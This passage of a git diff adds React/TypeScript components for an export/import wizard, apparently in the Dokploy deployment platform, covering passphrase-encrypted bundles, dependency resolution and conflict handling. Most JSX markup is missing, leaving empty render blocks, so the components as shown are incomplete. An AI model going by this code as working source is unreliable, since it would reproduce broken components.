+ ); + } + return null; +}; + +export const BundleMeta = ({ + size, + modTime, +}: { + size: number; + modTime: string; +}) => ( + + {formatBytes(size)} · {new Date(modTime).toLocaleString()} + +); diff --git a/apps/dokploy/components/dashboard/project/export-import/export-wizard.tsx b/apps/dokploy/components/dashboard/project/export-import/export-wizard.tsx new file mode 100644 index 000000000..5aa16f502 --- /dev/null +++ b/apps/dokploy/components/dashboard/project/export-import/export-wizard.tsx @@ -0,0 +1,338 @@ +import { Download, UploadCloud } from "lucide-react"; +import { type ReactNode, useState } from "react"; +import { toast } from "sonner"; +import { formatBytes } from "@/components/dashboard/database/backups/restore-backup"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { Button } from "@/components/ui/button"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { DropdownMenuItem } from "@/components/ui/dropdown-menu"; +import { Label } from "@/components/ui/label"; +import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; +import { api } from "@/utils/api"; +import { DestinationSelect } from "./destination-select"; +import { isPassphraseValid, PassphraseFields } from "./passphrase-fields"; +import { RequirementsList } from "./requirements-list"; +import { + defaultScopeFormState, + hasDropSourceInScope, + type ProjectEnvironment, + ScopeForm, + type ScopeFormState, +} from "./scope-form"; +import { TransferProgress } from "./transfer-progress"; + +const STEPS = ["Select services", "Scope", "Review", "Export"] as const; + +interface ExportWizardProps { + title: string; + projectId: string; + environments: ProjectEnvironment[]; + destinationId?: string; + onClose: () => void; + onBackFromStart?: () => void; +} + +export const ExportWizard = ({ + title, + projectId, + environments, + destinationId: fixedDestinationId, + onClose, + onBackFromStart, +}: ExportWizardProps) => { + const [step, setStep] = useState(0); + const [form, setForm] = useState(() => + defaultScopeFormState(environments), + ); + const [passphrase, setPassphrase] = useState(""); + const [passphraseConfirm, setPassphraseConfirm] = useState(""); + const [exportId, setExportId] = useState(null); + const [deliverKind, setDeliverKind] = useState<"download" | "destination">( + fixedDestinationId ? "destination" : "download", + ); + const [destinationId, setDestinationId] = useState(fixedDestinationId ?? ""); + + const { data: isCloud } = api.settings.isCloud.useQuery(); + const { data: destinations } = api.destination.all.useQuery(undefined, { + enabled: !!fixedDestinationId, + }); + const effectiveDeliverKind = + isCloud || fixedDestinationId ? "destination" : deliverKind; + + const previewQuery = api.projectExportImport.exportPreview.useQuery( + { + projectId, + environmentIds: form.environmentIds, + serviceIds: form.serviceIds, + files: form.files, + dumps: form.dumps, + }, + { enabled: step === 2 }, + ); + + const { mutateAsync: startExport, isPending: isStarting } = + api.projectExportImport.exportStart.useMutation({ + onError: (error) => toast.error(error.message), + }); + + const statusQuery = api.projectExportImport.exportStatus.useQuery( + { exportId: exportId ?? "" }, + { + enabled: !!exportId, + refetchIntervalInBackground: true, + refetchInterval: (query) => { + const status = query.state.data?.status; + return status === "done" || status === "error" || status === "cancelled" + ? false + : 1000; + }, + }, + ); + + const handleStart = async () => { + try { + const result = await startExport({ + projectId, + scope: { + environmentIds: form.environmentIds, + serviceIds: form.serviceIds, + includeEnvSecrets: form.includeEnvSecrets, + shared: form.shared, + files: { + ...form.files, + applicationSources: + form.files.applicationSources || + hasDropSourceInScope(environments, form.serviceIds), + }, + dumps: form.dumps, + }, + passphrase, + deliver: + effectiveDeliverKind === "destination" + ? { kind: "destination", destinationId } + : { kind: "download" }, + }); + setExportId(result.exportId); + setStep(3); + } catch {} + }; + + const job = statusQuery.data; + const isDone = job?.status === "done"; + const isFailed = job?.status === "error"; + const canStart = + isPassphraseValid(passphrase, passphraseConfirm) && + (effectiveDeliverKind === "download" || destinationId.length > 0); + const fixedDestinationName = destinations?.find( + (destination) => destination.destinationId === fixedDestinationId, + )?.name; + + return ( + <> + + {title} + + Step {step + 1} of {STEPS.length}: {STEPS[step]} + + + + {step === 0 && ( + + )} + {step === 1 && ( + + )} + {step === 2 && ( +
+ + + The exported file contains your secrets, encrypted with the + passphrase below. Anyone with both the file and this passphrase can + read them, so store it somewhere safe and share it only through a + separate channel. You'll need this exact passphrase to import the + bundle later; without it, the export can't be recovered. + +
+ + {fixedDestinationId ? ( +

+ Uploaded to {fixedDestinationName ?? "the selected destination"}{" "} + under dokploy-export-import/. +

+ ) : isCloud ? ( +

+ On Dokploy Cloud the bundle is uploaded to one of your + destinations (S3-compatible storage); direct download isn't + available. +

+ ) : ( + + setDeliverKind(value as "download" | "destination") + } + className="flex gap-4" + > +
+ + +
+
+ + +
+ + )} + {!fixedDestinationId && effectiveDeliverKind === "destination" && ( + + )} +
+ +
+ )} + {step === 3 && ( +
+ + {isDone && job?.warnings && job.warnings.length > 0 && ( + + )} + {isDone && job?.deliveredKey && ( + + Uploaded to {job.deliveredKey} + + )} + {isDone && job?.downloadToken && ( + + )} +
+ )} + + + {step === 0 && onBackFromStart && ( + + )} + {step > 0 && step < 3 && ( + + )} + {step < 2 && ( + + )} + {step === 2 && ( + + )} + {step === 3 && ( + + )} + + + ); +}; + +interface ExportProjectProps { + projectId: string; + environments: ProjectEnvironment[]; + trigger?: ReactNode; +} + +export const ExportProject = ({ + projectId, + environments, + trigger, +}: ExportProjectProps) => { + const [open, setOpen] = useState(false); + + return ( + + + {trigger ?? ( + e.preventDefault()} + > + + Export project + + )} + + + {open && ( + setOpen(false)} + /> + )} + + + ); +}; diff --git a/apps/dokploy/components/dashboard/project/export-import/import-project.tsx b/apps/dokploy/components/dashboard/project/export-import/import-project.tsx new file mode 100644 index 000000000..fd421788f --- /dev/null +++ b/apps/dokploy/components/dashboard/project/export-import/import-project.tsx @@ -0,0 +1,619 @@ +import { Download, ExternalLink } from "lucide-react"; +import Link from "next/link"; +import { type ReactNode, useEffect, useState } from "react"; +import { toast } from "sonner"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { Button } from "@/components/ui/button"; +import { Checkbox } from "@/components/ui/checkbox"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { Input } from "@/components/ui/input"; +import { Label } from "@/components/ui/label"; +import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { api } from "@/utils/api"; +import { BundleSourceStep } from "./bundle-source-step"; +import { type ConflictChoice, ImportSummary } from "./import-summary"; +import { AutofillDecoy, PassphraseField } from "./passphrase-fields"; +import { RequirementsList } from "./requirements-list"; +import { + defaultResolutionChoices, + type ResolutionChoice, + ResolutionStep, +} from "./resolution-step"; +import { SecretsReview } from "./secrets-review"; +import { TransferProgress } from "./transfer-progress"; +import { VersionsTable } from "./versions-table"; + +const STEPS = ["Source", "Unlock", "Resolve", "Review", "Import"] as const; + +type TargetChoice = + | { kind: "newProject"; name: string } + | { kind: "existingProject"; projectId: string; environmentName: string }; + +interface ImportProjectProps { + initialBundle?: { destinationId: string; key: string }; + trigger?: ReactNode; +} + +export const ImportProject = ({ + initialBundle, + trigger, +}: ImportProjectProps = {}) => { + const [open, setOpen] = useState(false); + const [step, setStep] = useState(0); + const [importId, setImportId] = useState(null); + const [importServerId, setImportServerId] = useState(); + const [passphrase, setPassphrase] = useState(""); + const [resolutionChoices, setResolutionChoices] = useState< + Record + >({}); + const [targetKind, setTargetKind] = useState< + "newProject" | "existingProject" + >("newProject"); + const [newProjectName, setNewProjectName] = useState(""); + const [existingProjectId, setExistingProjectId] = useState(""); + const [environmentName, setEnvironmentName] = useState("imported"); + const [keepAppNames, setKeepAppNames] = useState(false); + const [rotateDatabaseCredentials, setRotateDatabaseCredentials] = + useState(false); + const [deployAfterImport, setDeployAfterImport] = useState(true); + const [conflictChoices, setConflictChoices] = useState< + Record + >({}); + const [secretOverrides, setSecretOverrides] = useState< + Record + >({}); + + const { data: projects } = api.project.all.useQuery(undefined, { + enabled: open && targetKind === "existingProject", + }); + + const inspectMutation = api.projectExportImport.importInspect.useMutation(); + const [inspectResult, setInspectResult] = useState + > | null>(null); + const runInspect = (id: string) => { + setInspectResult(null); + inspectMutation + .mutateAsync({ importId: id }) + .then(setInspectResult) + .catch(() => {}); + }; + useEffect(() => { + if ( + importId && + step === 1 && + !inspectResult && + !inspectMutation.isPending + ) { + runInspect(importId); + } + }, [importId, step]); + + const { mutateAsync: unlock, isPending: isUnlocking } = + api.projectExportImport.importUnlock.useMutation({ + onError: (error) => toast.error(error.message), + }); + const [unlockResult, setUnlockResult] = useState + > | null>(null); + + const { mutateAsync: plan, isPending: isPlanning } = + api.projectExportImport.importPlan.useMutation({ + onError: (error) => toast.error(error.message), + }); + const [planResult, setPlanResult] = useState + > | null>(null); + + const { mutateAsync: overrideSecrets } = + api.projectExportImport.importSecretsOverride.useMutation({ + onError: (error) => toast.error(error.message), + }); + + const { mutateAsync: validate, isPending: isValidating } = + api.projectExportImport.importValidate.useMutation({ + onError: (error) => toast.error(error.message), + }); + const [validation, setValidation] = useState< + { check: string; ok: boolean; detail?: string }[] | null + >(null); + + const { mutateAsync: startImport, isPending: isStarting } = + api.projectExportImport.importStart.useMutation({ + onError: (error) => toast.error(error.message), + }); + const { mutateAsync: cancelImport } = + api.projectExportImport.importCancel.useMutation(); + + const statusQuery = api.projectExportImport.importStatus.useQuery( + { importId: importId ?? "" }, + { + enabled: !!importId && step === 4, + refetchIntervalInBackground: true, + refetchInterval: (query) => { + const status = query.state.data?.status; + return status === "done" || status === "failed" ? false : 1000; + }, + }, + ); + + const resetState = () => { + setStep(0); + setImportId(null); + setInspectResult(null); + setConflictChoices({}); + setSecretOverrides({}); + setValidation(null); + setDeployAfterImport(true); + setPassphrase(""); + setResolutionChoices({}); + setTargetKind("newProject"); + setNewProjectName(""); + setExistingProjectId(""); + setEnvironmentName("imported"); + setKeepAppNames(false); + setRotateDatabaseCredentials(false); + setUnlockResult(null); + setPlanResult(null); + }; + + const handleBundleSelected = (id: string, serverId: string | undefined) => { + setImportServerId(serverId); + setUnlockResult(null); + setResolutionChoices({}); + setConflictChoices({}); + setSecretOverrides({}); + setValidation(null); + setPassphrase(""); + setInspectResult(null); + setImportId(id); + setStep(1); + }; + + const handleUnlock = async () => { + if (!importId) return; + try { + const result = await unlock({ importId, passphrase }); + setUnlockResult(result); + const defaults = defaultResolutionChoices( + inspectResult?.requirements ?? [], + result.resolutions, + ); + if (importServerId) { + for (const key of Object.keys(defaults)) { + if (key.startsWith("server:")) { + defaults[key] = { + requirementKey: key, + action: "reuse", + targetId: importServerId, + }; + } + } + } + setResolutionChoices(defaults); + setStep(2); + } catch {} + }; + + const runPlan = async (choices: Record) => { + if (!importId) return; + const target: TargetChoice = + targetKind === "newProject" + ? { kind: "newProject", name: newProjectName } + : { + kind: "existingProject", + projectId: existingProjectId, + environmentName, + }; + try { + await overrideSecrets({ importId, overrides: secretOverrides }); + const result = await plan({ + importId, + target, + choices: { + resolutions: resolutionChoices, + keepAppNames, + rotateDatabaseCredentials, + deployAfterImport, + conflictResolutions: choices, + }, + }); + setPlanResult(result); + setConflictChoices(result.conflictResolutions); + setStep(3); + setValidation(null); + const validated = await validate({ importId }); + setValidation(validated.checks); + } catch {} + }; + + const handlePlan = () => runPlan(conflictChoices); + + const handleConflictChange = (key: string, choice: ConflictChoice) => { + setConflictChoices((prev) => ({ ...prev, [key]: choice })); + }; + + const handleStart = async () => { + if (!importId) return; + try { + await startImport({ importId }); + setStep(4); + } catch {} + }; + + const job = statusQuery.data; + const isDone = job?.status === "done"; + const isFailed = job?.status === "failed"; + const importedProjectId = job?.result + ? Object.values(job.result.idMap.project ?? {})[0] + : undefined; + const importedEnvironmentId = job?.result + ? Object.values(job.result.idMap.environment ?? {})[0] + : undefined; + const conflictChoicesDirty = + JSON.stringify(conflictChoices) !== + JSON.stringify(planResult?.conflictResolutions ?? {}); + const validationFailing = (validation ?? []).some((check) => !check.ok); + const canProceedTarget = + targetKind === "newProject" + ? newProjectName.trim().length > 0 + : !!existingProjectId && environmentName.trim().length > 0; + + return ( + { + setOpen(next); + if (!next) { + if (importId && step < 4) { + cancelImport({ importId }).catch(() => {}); + } + resetState(); + } + }} + > + + {trigger ?? ( + + )} + + + + Import project + + Step {step + 1} of {STEPS.length}: {STEPS[step]} + + + + {step === 0 && ( + + )} + + {step === 1 && ( +
+ {inspectMutation.isPending && ( +

Reading bundle...

+ )} + {inspectMutation.isError && ( + +

+ {inspectMutation.error?.message ?? + "Failed to read the bundle."} +

+ + + )} + {inspectResult && ( +
+
+

+ Exported: + {new Date( + inspectResult.manifest.exportedAt, + ).toLocaleString()} +

+
+ + {inspectResult.versionWarnings.length > 0 && ( + + )} +
+ )} + + +
+ )} + + {step === 2 && ( +
+ + setResolutionChoices((prev) => ({ ...prev, [key]: choice })) + } + /> + + {importId && ( + + setSecretOverrides((prev) => { + const next = { ...prev }; + if (value === undefined) delete next[secretId]; + else next[secretId] = value; + return next; + }) + } + /> + )} + +
+ + + setTargetKind(value as "newProject" | "existingProject") + } + className="flex gap-4" + > +
+ + +
+
+ + +
+ + + {targetKind === "newProject" ? ( + setNewProjectName(e.target.value)} + /> + ) : ( +
+ + setEnvironmentName(e.target.value)} + /> +
+ )} + +
+ + setKeepAppNames(checked === true) + } + /> + +
+ +
+ + setRotateDatabaseCredentials(checked === true) + } + /> +
+ +

+ Generates fresh database passwords for the imported project + instead of keeping the original ones. Leave this unchecked + for a straight migration (e.g. cloud to self-hosted) so + anything outside Dokploy that already has the current + password keeps working. +

+
+
+ +
+ + setDeployAfterImport(checked === true) + } + /> + +
+
+
+ )} + + {step === 3 && ( +
+ + {conflictChoicesDirty && ( + + )} +
+ )} + + {step === 4 && ( +
+ + {isDone && ( +
+ + {job?.partial + ? "Import completed with some errors." + : "Import complete."} + + {job?.restoreErrors && job.restoreErrors.length > 0 && ( + + {job.restoreErrors.map((error) => ( +

+ {error.serviceName ?? error.serviceId}: {error.error} +

+ ))} + + )} + {job?.result?.warnings && job.result.warnings.length > 0 && ( + + )} + {importedProjectId && importedEnvironmentId && ( + + )} +
+ )} +
+ )} + + + {step > 0 && step < 4 && ( + + )} + {step === 1 && ( + + )} + {step === 2 && ( + + )} + {step === 3 && ( + + )} + {step === 4 && ( + + )} + + + + ); +}; diff --git a/apps/dokploy/components/dashboard/project/export-import/import-summary.tsx b/apps/dokploy/components/dashboard/project/export-import/import-summary.tsx new file mode 100644 index 000000000..4457f172d --- /dev/null +++ b/apps/dokploy/components/dashboard/project/export-import/import-summary.tsx @@ -0,0 +1,252 @@ +import { AlertTriangle, CheckCircle2, Loader2, XCircle } from "lucide-react"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { Input } from "@/components/ui/input"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { RequirementsList } from "./requirements-list"; + +type PendingService = { + serviceId: string; + serviceType: string; + reason: string; +}; + +export type ConflictSummary = { + kind: "domain" | "port" | "projectName" | "network"; + value: string; + options: ("rename" | "skip" | "keep")[]; +}; + +export type ConflictChoice = { + action: "rename" | "skip" | "keep"; + value?: string; +}; + +type ValidationCheck = { check: string; ok: boolean; detail?: string }; + +type WarningSummary = { + code: string; + severity: "info" | "warning" | "blocking"; + message: string; + affected?: { serviceName: string }[]; +}; + +type PlanSummary = { + counts: Partial>; + domains: number; + dumps: number; +}; + +const CONFLICT_LABELS: Record = { + domain: "Domain", + port: "Published port", + projectName: "Project name", + network: "Network", +}; + +const OPTION_LABELS: Record< + ConflictSummary["kind"], + Partial> +> = { + domain: { rename: "Use another host", skip: "Import disabled" }, + port: { + rename: "Publish on another port", + skip: "Don't publish", + keep: "Publish anyway", + }, + projectName: { rename: "Import under another name" }, + network: { + keep: "Attach to the existing network", + rename: "Create with another name", + skip: "Don't attach", + }, +}; + +export const conflictKey = (conflict: ConflictSummary) => + `${conflict.kind}:${conflict.value}`; + +const ConflictRow = ({ + conflict, + choice, + onChange, +}: { + conflict: ConflictSummary; + choice: ConflictChoice; + onChange: (choice: ConflictChoice) => void; +}) => ( +
+
+ + + + {CONFLICT_LABELS[conflict.kind]}{" "} + + {conflict.value} + already exists + +
+ + {choice.action === "rename" ? ( + onChange({ action: "rename", value: e.target.value })} + /> + ) : ( + + )} +
+); + +interface ImportSummaryProps { + summary?: PlanSummary; + pendingServices?: PendingService[]; + warnings?: WarningSummary[]; + conflicts?: ConflictSummary[]; + conflictChoices: Record; + onConflictChange: (key: string, choice: ConflictChoice) => void; + validation?: ValidationCheck[]; + isValidating: boolean; + isLoading: boolean; +} + +export const ImportSummary = ({ + summary, + pendingServices, + warnings, + conflicts, + conflictChoices, + onConflictChange, + validation, + isValidating, + isLoading, +}: ImportSummaryProps) => { + if (isLoading) { + return

Building plan...

; + } + + const totalResources = summary + ? Object.values(summary.counts).reduce( + (sum: number, count) => sum + (count ?? 0), + 0, + ) + : 0; + const failing = (validation ?? []).filter((check) => !check.ok); + + return ( +
+ {summary && ( +
+

This import will create

+

+ {totalResources} resource{totalResources === 1 ? "" : "s"},{" "} + {summary.domains} domain{summary.domains === 1 ? "" : "s"} + {summary.dumps > 0 + ? `, ${summary.dumps} database dump${summary.dumps === 1 ? "" : "s"} to restore` + : ""} +

+
+ )} + + {conflicts && conflicts.length > 0 && ( +
+

Conflicts ({conflicts.length})

+
+ {conflicts.map((conflict) => { + const key = conflictKey(conflict); + return ( + onConflictChange(key, choice)} + /> + ); + })} +
+
+ )} + +
+

+ Destination checks + {isValidating && } +

+ {!isValidating && validation && validation.length === 0 && ( +

Nothing to check.

+ )} + {validation && validation.length > 0 && ( +
+ {validation.map((check) => ( +
+ {check.ok ? ( + + ) : ( + + )} + {check.check} + {check.detail && ( + {check.detail} + )} +
+ ))} +
+ )} + {failing.length > 0 && ( +

+ Fix the failing checks (or change the resolutions above) before + starting the import. +

+ )} +
+ + {warnings && warnings.length > 0 && ( + + )} + + {pendingServices && pendingServices.length > 0 && ( + +

+ {pendingServices.length} service + {pendingServices.length === 1 ? "" : "s"} will not deploy until you + fix a missing dependency +

+ {pendingServices.map((service) => ( +

+ {service.serviceType}: {service.reason} +

+ ))} + + )} +
+ ); +}; diff --git a/apps/dokploy/components/dashboard/project/export-import/passphrase-fields.tsx b/apps/dokploy/components/dashboard/project/export-import/passphrase-fields.tsx new file mode 100644 index 000000000..ec2d5a986 --- /dev/null +++ b/apps/dokploy/components/dashboard/project/export-import/passphrase-fields.tsx @@ -0,0 +1,117 @@ +import { Wand2 } from "lucide-react"; +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { Label } from "@/components/ui/label"; +import { generateRandomPassword } from "@/lib/password-utils"; + +export const MIN_PASSPHRASE_LENGTH = 12; + +interface PassphraseFieldProps { + id: string; + label: string; + value: string; + onChange: (value: string) => void; + errorMessage?: string; + copyable?: boolean; + action?: React.ReactNode; +} + +export const PassphraseField = ({ + id, + label, + value, + onChange, + errorMessage, + copyable, + action, +}: PassphraseFieldProps) => ( +
+
+ + {action} +
+ onChange(e.target.value)} + errorMessage={errorMessage} + /> +
+); + +interface PassphraseFieldsProps { + value: string; + confirm: string; + onValueChange: (value: string) => void; + onConfirmChange: (value: string) => void; +} + +export const isPassphraseValid = (value: string, confirm: string) => + value.length >= MIN_PASSPHRASE_LENGTH && value === confirm; + +export const PassphraseFields = ({ + value, + confirm, + onValueChange, + onConfirmChange, +}: PassphraseFieldsProps) => ( + <> + + 0 && value.length < MIN_PASSPHRASE_LENGTH + ? `Passphrase must be at least ${MIN_PASSPHRASE_LENGTH} characters` + : undefined + } + action={ + + } + /> + 0 && confirm !== value + ? "Passphrases don't match" + : undefined + } + /> + +); + +export const AutofillDecoy = () => ( + +); diff --git a/apps/dokploy/components/dashboard/project/export-import/requirements-list.tsx b/apps/dokploy/components/dashboard/project/export-import/requirements-list.tsx new file mode 100644 index 000000000..4ac89a1b3 --- /dev/null +++ b/apps/dokploy/components/dashboard/project/export-import/requirements-list.tsx @@ -0,0 +1,158 @@ +import { AlertTriangle, CheckCircle2, Info } from "lucide-react"; +import { formatBytes } from "@/components/dashboard/database/backups/restore-backup"; + +type RequirementSummary = { + kind: string; + usedBy: { serviceName: string }[]; +}; + +type WarningSummary = { + code: string; + severity: "info" | "warning" | "blocking"; + message: string; + affected?: { serviceName: string }[]; +}; + +const MAX_NAMES_SHOWN = 5; + +type WarningGroup = WarningSummary & { names: string[] }; + +const groupWarnings = (warnings: WarningSummary[]): WarningGroup[] => { + const groups = new Map(); + for (const warning of warnings) { + const key = `${warning.code}\n${warning.message}`; + const group = groups.get(key) ?? { ...warning, names: [] }; + for (const usedBy of warning.affected ?? []) { + if (usedBy.serviceName && !group.names.includes(usedBy.serviceName)) { + group.names.push(usedBy.serviceName); + } + } + groups.set(key, group); + } + return Array.from(groups.values()); +}; + +const formatNames = (names: string[]): string => + names.length <= MAX_NAMES_SHOWN + ? names.join(", ") + : `${names.slice(0, MAX_NAMES_SHOWN).join(", ")} and ${names.length - MAX_NAMES_SHOWN} more`; + +interface RequirementsListProps { + inventory?: { + environments: unknown[]; + totals: Partial>; + estimatedDumpBytes?: number; + estimatedFilesBytes?: number; + images?: { name: string; image: string }[]; + }; + requirements?: RequirementSummary[]; + warnings?: WarningSummary[]; + isLoading?: boolean; +} + +const severityIcon = (severity: WarningSummary["severity"]) => { + if (severity === "blocking") { + return ( + + ); + } + if (severity === "warning") { + return ( + + ); + } + return ; +}; + +export const RequirementsList = ({ + inventory, + requirements, + warnings, + isLoading = false, +}: RequirementsListProps) => { + if (isLoading) { + return

Loading preview...

; + } + + const totalResources = inventory + ? Object.values(inventory.totals).reduce( + (sum: number, count) => sum + (count ?? 0), + 0, + ) + : 0; + + return ( +
+ {inventory && ( +
+

Inventory

+

+ {inventory.environments.length} environment + {inventory.environments.length === 1 ? "" : "s"}, {totalResources}{" "} + total resources + {inventory.estimatedDumpBytes || inventory.estimatedFilesBytes + ? ` · about ${formatBytes(inventory.estimatedDumpBytes ?? 0)} of database data and ${formatBytes(inventory.estimatedFilesBytes ?? 0)} of files` + : ""} +

+ {inventory.images && inventory.images.length > 0 && ( +

+ Images:{" "} + {inventory.images + .map((entry) => `${entry.name} (${entry.image})`) + .join(", ")} +

+ )} +
+ )} + + {requirements && requirements.length > 0 && ( +
+

+ External dependencies ({requirements.length}) +

+
+ {requirements.map((req, index) => ( +
+ + {req.kind} + + + used by {req.usedBy.length} service + {req.usedBy.length === 1 ? "" : "s"} + +
+ ))} +
+
+ )} + + {warnings && warnings.length > 0 && ( +
+

Warnings ({warnings.length})

+
+ {groupWarnings(warnings).map((warning, index) => ( +
+ {severityIcon(warning.severity)} + + {warning.names.length > 0 && ( + + {formatNames(warning.names)}:{" "} + + )} + {warning.message} + +
+ ))} +
+
+ )} + + {requirements?.length === 0 && warnings?.length === 0 && ( +
+ + No external dependencies or warnings detected. +
+ )} +
+ ); +}; diff --git a/apps/dokploy/components/dashboard/project/export-import/resolution-step.tsx b/apps/dokploy/components/dashboard/project/export-import/resolution-step.tsx new file mode 100644 index 000000000..e0eb94fbd --- /dev/null +++ b/apps/dokploy/components/dashboard/project/export-import/resolution-step.tsx @@ -0,0 +1,235 @@ +import { Badge } from "@/components/ui/badge"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { CollapsibleSection } from "./collapsible-section"; + +type Requirement = { + kind: string; + originalId: string | null; + usedBy: { serviceName: string; environmentId: string }[]; + [key: string]: unknown; +}; + +type ProposedResolution = { + status: "resolved" | "mappable" | "createable" | "missing"; + targetId?: string; + candidates?: { id: string; name: string }[]; +}; + +export type ResolutionChoice = { + requirementKey: string; + action: "reuse" | "create" | "skip"; + targetId?: string; +}; + +interface ResolutionStepProps { + requirements: Requirement[]; + resolutions: Record; + choices: Record; + onChange: (key: string, choice: ResolutionChoice) => void; +} + +const requirementKey = (requirement: Requirement): string => + `${requirement.kind}:${requirement.originalId ?? "null"}`; + +const requirementLabel = (requirement: Requirement): string => { + switch (requirement.kind) { + case "vault": + return `Vault "${requirement.providerName}"`; + case "gitProvider": + return `${requirement.providerType} git provider`; + case "destination": + return `Destination "${requirement.bucket}"`; + case "registry": + return `Registry "${requirement.registryUrl}"`; + case "sshKey": + return "SSH key"; + case "network": + return `Network "${requirement.name}"`; + case "certificate": + return "Custom certificate"; + case "server": + return "Server"; + default: + return requirement.kind; + } +}; + +const statusBadge = (status: ProposedResolution["status"]) => { + switch (status) { + case "resolved": + return resolved; + case "mappable": + return needs mapping; + case "createable": + return will be created; + case "missing": + return missing; + } +}; + +const defaultChoiceFor = ( + key: string, + proposed: ProposedResolution | undefined, +): ResolutionChoice => { + if (!proposed) return { requirementKey: key, action: "skip" }; + if (proposed.status === "resolved") { + return { + requirementKey: key, + action: "reuse", + targetId: proposed.targetId, + }; + } + if (proposed.status === "createable") { + return { requirementKey: key, action: "create" }; + } + return { requirementKey: key, action: "skip" }; +}; + +export const defaultResolutionChoices = ( + requirements: Requirement[], + resolutions: Record, +): Record => { + const choices: Record = {}; + for (const requirement of requirements) { + const key = requirementKey(requirement); + choices[key] = defaultChoiceFor(key, resolutions[key]); + } + return choices; +}; + +const RequirementRow = ({ + requirement, + proposed, + choice, + onChange, +}: { + requirement: Requirement; + proposed: ProposedResolution | undefined; + choice: ResolutionChoice; + onChange: (choice: ResolutionChoice) => void; +}) => { + const key = requirementKey(requirement); + const candidates = proposed?.candidates ?? []; + + return ( +
+
+
+ + {requirementLabel(requirement)} + + {proposed && statusBadge(proposed.status)} +
+ + {candidates.length > 0 && ( + + )} + + {candidates.length === 0 && proposed?.status === "createable" && ( + + )} + + {candidates.length === 0 && proposed?.status === "missing" && ( + + Nothing to map: services using it won't deploy + + )} +
+ + {requirement.usedBy.length > 0 && ( + + {requirement.usedBy.map((usedBy, index) => ( +

+ {usedBy.serviceName} +

+ ))} + + )} +
+ ); +}; + +export const ResolutionStep = ({ + requirements, + resolutions, + choices, + onChange, +}: ResolutionStepProps) => { + if (requirements.length === 0) { + return ( +

+ This bundle has no external dependencies to resolve. +

+ ); + } + + return ( +
+ {requirements.map((requirement) => { + const key = requirementKey(requirement); + return ( + onChange(key, choice)} + /> + ); + })} +
+ ); +}; diff --git a/apps/dokploy/components/dashboard/project/export-import/scope-form.tsx b/apps/dokploy/components/dashboard/project/export-import/scope-form.tsx new file mode 100644 index 000000000..13c3f1909 --- /dev/null +++ b/apps/dokploy/components/dashboard/project/export-import/scope-form.tsx @@ -0,0 +1,406 @@ +import { Info } from "lucide-react"; +import type { ReactNode } from "react"; +import { Checkbox } from "@/components/ui/checkbox"; +import { Label } from "@/components/ui/label"; +import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; +import { + Tooltip, + TooltipContent, + TooltipTrigger, +} from "@/components/ui/tooltip"; + +type ServiceRow = { + name: string; + applicationStatus?: string | null; + composeStatus?: string | null; +}; + +export type ProjectEnvironment = { + environmentId: string; + name: string; + applications: (ServiceRow & { + applicationId: string; + sourceType?: string | null; + })[]; + compose: (ServiceRow & { composeId: string })[]; + postgres: (ServiceRow & { postgresId: string })[]; + mysql: (ServiceRow & { mysqlId: string })[]; + mariadb: (ServiceRow & { mariadbId: string })[]; + mongo: (ServiceRow & { mongoId: string })[]; + redis: (ServiceRow & { redisId: string })[]; + libsql: (ServiceRow & { libsqlId: string })[]; +}; + +const SERVICE_KIND_FIELDS = [ + { key: "applications", idField: "applicationId" }, + { key: "compose", idField: "composeId" }, + { key: "postgres", idField: "postgresId" }, + { key: "mysql", idField: "mysqlId" }, + { key: "mariadb", idField: "mariadbId" }, + { key: "mongo", idField: "mongoId" }, + { key: "redis", idField: "redisId" }, + { key: "libsql", idField: "libsqlId" }, +] as const; + +export type SharedResourceKind = + | "destination" + | "registry" + | "sshKey" + | "network" + | "certificate" + | "vaultProvider" + | "dnsProvider"; + +const SHARED_KINDS: SharedResourceKind[] = [ + "destination", + "registry", + "sshKey", + "network", + "certificate", + "vaultProvider", + "dnsProvider", +]; + +const SHARED_KIND_LABELS: Record = { + destination: "Destination", + registry: "Registry", + sshKey: "SSH Key", + network: "Network", + certificate: "Certificate", + vaultProvider: "Vault Provider", + dnsProvider: "DNS Provider", +}; + +const SHARED_MODE_TOOLTIPS = { + value: + "Copies the resource itself (including its credentials) into the bundle, so importing it recreates a standalone copy even into an instance that doesn't already have a matching one.", + reference: + "Only records that this project depends on the resource, without copying its credentials. On import it's matched by name to one already in the destination instead of being duplicated.", +}; + +const DUMP_MODE_TOOLTIPS: Record = { + none: "Exports only the service configuration, no data. Databases start empty after import.", + embed: + "Dumps each database right now and stores the dump inside the export file. Simple and self-contained, but large databases can make the bundle very large.", + referenceLastBackup: + "Doesn't include any data in the bundle. Instead it references the most recent successful scheduled backup at its destination and downloads it from there on import, requiring that destination to still be resolvable and a completed backup to exist.", +}; + +const DUMP_MODES = [ + ["none", "None (config only)"], + ["embed", "Embed in bundle"], + ["referenceLastBackup", "Reference last backup"], +] as const; + +const InfoTooltip = ({ tooltip }: { tooltip: string }) => ( + + + + + + {tooltip} + + +); + +const HelpLabel = ({ + width, + tooltip, + children, +}: { + width: number; + tooltip: string; + children: ReactNode; +}) => ( +
+ + +
